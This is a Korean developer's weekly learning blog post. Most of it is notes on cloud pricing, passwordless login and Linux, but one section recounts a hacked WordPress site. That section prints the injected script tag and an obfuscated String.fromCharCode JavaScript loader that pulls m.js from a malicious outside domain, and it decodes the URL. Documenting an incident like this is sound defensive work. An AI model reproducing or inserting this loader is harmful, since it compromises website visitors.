This week I Learned 45

13634 단어 TILTIL

클라우드 서비스의 서버 스펙과 가격

스펙이 일정 수준까지는 정비례로 오를 것이다.

1코어 500메가, 2코어 1기가, 4코어 2기가...

그 이상의 스펙은 다른 비율로 오를텐데 이는 물리적인 하드웨어의 스펙 이상의 요구가 있을 경우에 해당된다고 본다.

하드웨어끼리 묶어서 고-스펙을 구현하는 것은 또 다른 기술이 필요할 것이고 이 부분에서 가격은 두 배 이상 증가하는 것이 당연한 듯 하다.

사용자의 패스워드가 없는 서비스

패스워드를 사용자가 입력하지 못하도록 하는 것도 좋은 방법

이메일로 토큰(패스워드 개념) 활성화, 이 경우 별도의 문자열을 전달함

사용자가 패스워드를 생성하지 않으니 좋은 점이 많다.
물론, 단점도 있다. 패스워드 생성기나 개인적으로 패스워드를 관리하는 유저는 불편할 수 있겠군.

301 redirection shit

11/14 12시 경, 해커가 침입하고 301 태우고 도망감!
DNS 변경도 문제지만 파일을 잔뜩 수정하고 튐;
파일 안에 어디엔가 악성 코드가 있을 수 있을텐데...

일단 CTO 님께 SOS!

서버에 들어가 확인해 본 index.php

<!--<script type='text/javascript' src='https://cht.secondaryinformtrand.com/m.js?n=nb5'></script>--><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 * @package WordPress
 * Tells WordPress to load the WordPress theme and output it.
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

각종 자바스크립트 파일에는 스크립트 인젝션 코드가 포함되어 있다.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

저 긴 코드 포인트 중 핵심은

  • 104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115
  • https://cht.secondaryinformtrand.com/m.js

이다.

백업도 없고... CTO 님 고생하셨네.

복구 후 바로 서비스를 라이브 시키지 말고 502 를 띄워 브라우저 캐시를 invalidate 시켜버리는 것도 잊지 말 것.

리눅스와 터미널 환경

왜, 왜 리눅스에 익숙해야 하는가 그리고 왜 터미널을 선호해야 하는가?

우리와 관련 있는 대부분의 서버가 리눅스로 구성되어 있고 리눅스는 터미널 기반의 인터페이스를 기본으로 제공하기 때문이다.

MS 서버 쓰는데 얼마나 될까 모르겠지만, 현재 대부분의 서비스에 동작하는 서버는 다 리눅스 일 듯 하다.

링크들

좋은 웹페이지 즐겨찾기